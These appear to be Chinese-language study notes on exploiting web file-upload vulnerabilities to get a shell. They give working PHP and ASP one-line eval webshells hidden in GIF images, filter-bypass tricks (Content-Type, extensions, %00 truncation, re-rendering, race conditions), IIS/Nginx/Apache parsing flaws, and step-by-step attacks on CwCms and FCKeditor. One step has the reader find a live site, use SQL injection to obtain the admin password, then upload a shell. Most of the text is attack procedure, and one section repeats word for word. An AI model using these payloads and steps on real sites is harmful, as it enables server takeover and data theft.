文件上传是获取shell,拿到主机权限。
需制作一个木马,大马,小马,一句话木马,首尾去空(空格 :.jpg
基础的是大小写,修改后缀(jpg,png,phtml,空格.htaccess),修改Content-Type: image/png 上传,修改Ftype=filetype为php,,
1,本地JS 远程content-type验证突破
上传一个php文件,窗口显示文件不允许上传,请上传jpg png gif 时 并且反应速度很快,判断其为js验证方式
方法:直接关闭js;将js判断去掉,把js代码删除
删除方法:页面右键另存为,得到html文件,找到function checkFile(最底行) 将其删除
2.&&%00截断
%00截断 相当于sql注入中的注释符号 有了这个东西 后面的函数就没了 save_path变量是可控的 get post同理
上传php bp抓包 更改save_path为文件地址,就成功上传了
eg:save_path=../upload/ 改为 save_path=../upload/shell.php%00(%00需要url解码)
filename=”shell.php” 改为 shell.jpg
3.文件包含漏洞与图片码
①文件包含漏洞 可以将图片带入到php代码里,从而执行
制作图片马:
制作一个GIF格式的图片,因为这种图片格式明显 打开图片编码,
在末尾插入<?php @eval($_POST['123']);?> 需要的码 一定要在notepad++软件输入 np有16进制
制作完成后上传 成功后 打开菜刀链接
②文件头 GIF的文件头是GIF89A,ZIP是压缩文件,7z的压缩文件头是7z
GIF89a
<?php @eval($_POST['123']);?>
伪造一个GIF的文件马 上传 成功后 连接菜刀
4.getimagesize exif 二次渲染绕过
①getimagesize函数获取图像信息,是一个数组,匹配的content-type使用文件包含漏洞即可上传成功
首先制作一个图片码,使用notepad++来插入
打开gif图片文件插入到末尾 <?php @eval($_POST['123']); phpinfo(); ?>
写入完成后 上传 连接菜刀
②通过exif方式,判断imagetype
首先制作一个图片码,使用notepad++来插入
打开gif图片文件插入到末尾 <?php @eval($_POST['123']); phpinfo(); ?>
写入完成后 上传 连接菜刀
③二次渲染 imagecreatefromjpeg 重组这个图片 如果在文件末尾有php代码,就会欸重组吃掉 所以在开头一行的部位,插入php代码
首先制作一个图片码,使用notepad++来插入
打开gif图片文件插入到第一行随意位置 <?php @eval($_POST['123']); phpinfo(); ?>
写入完成后 上传 连接菜刀
5.条件竞争绕过
趁着上传解析 强行解析一句话
①php写入文件代码
想让写入内容变成字符串,不能用双引号,只能用单引号
重复发包,不是跑一个数字之类的东西,跑次数
上传写好的php文件,bp抓包 ctrl+I payloads跑包(numbers)
添加变量a 1-11111111,跑numbers
菜刀链接
<?php$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "<?php @eval($_POST['123']); ?>";
fwrite($myfile, $txt);
fclose($myfile);
?>
fwrite() 函数用于写入文件。
fwrite() 的第一个参数包含要写入的文件的文件名,第二个参数是被写的字符串
6.Nginx IIS解析漏洞
打开一个gif图片 文末插入
<?php phpinfo(); eval($_POST[“123”]);?><%eval request(“123”)>
①IIS解析漏洞(基于IIS6.0版本)windows server 2003几乎通杀 因为微软并没有认为只是一个漏洞,就认为,这是一个特性,没有补丁 怎么利用
Eg:/a,asp/1.gif就会被解析成asp 上传文件到asp文件下
Eg2:
上传一个1.asp;.gif 就会被解析成asp
上传成功后 链接菜刀 选择脚本类型为asp
②Nginx解析漏洞(基于Vulhub)
上传1.gif/1.php就会被解析为php文件 连接菜刀
7.Apache解析漏洞 IIS6.0解析漏洞实战
环境:PHPStudy2013版本,这个版本中集成的Apache是一个有漏洞的版本此解析漏洞,只用于黑名单,对不可绕过的白名单没办法
①1.php.xxx 网站黑名单过滤,可能没有过滤xxx,xxx这个文件不是一个系统认定的格式,Apache低版本,往上走,找可以识别的扩展名,达到绕过效果。
上传1.php.xxx 成功连接菜刀
②IIS6.0解析漏洞实战
找一个网站,一个是前端,一个是后端,需要拿到管理员权限 到后台进行上传 后台登陆成功 尝试寻找漏洞,
使用awvs扫描站点 sal注入 得到管理员账号密码 cmd5解密
登陆后台 上传php图片 bp抓包 修改“filepath”后的数值为a.asp;. 上传成功 链接菜刀
8.文件上传 漏洞实战
①CwCms1.8后端任意文件上传漏洞 也就是说我们要先获取后台的管理密码 直接上传PHPerror
Ftype=filetype文件类型cwcms就是通过这种方式来判断上传文件的合法性
上传文件 bp抓包 修改ftype文件类型为php 上传成功
②FckEditor解析漏洞
常用上传地址
JSP 版:
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
上传创建asp文件夹,利用currentFolder 修改%2F a.asp%2F newfoldername处就可随意修改 创建成功后,上传php文件 成功后链接菜刀
③二次渲染 imagecreatefromjpeg 重组这个图片 如果在文件末尾有php代码,就会欸重组吃掉 所以在开头一行的部位,插入php代码
首先制作一个图片码,使用notepad++来插入
打开gif图片文件插入到第一行随意位置 <?php @eval($_POST['123']); phpinfo(); ?>
写入完成后 上传 连接菜刀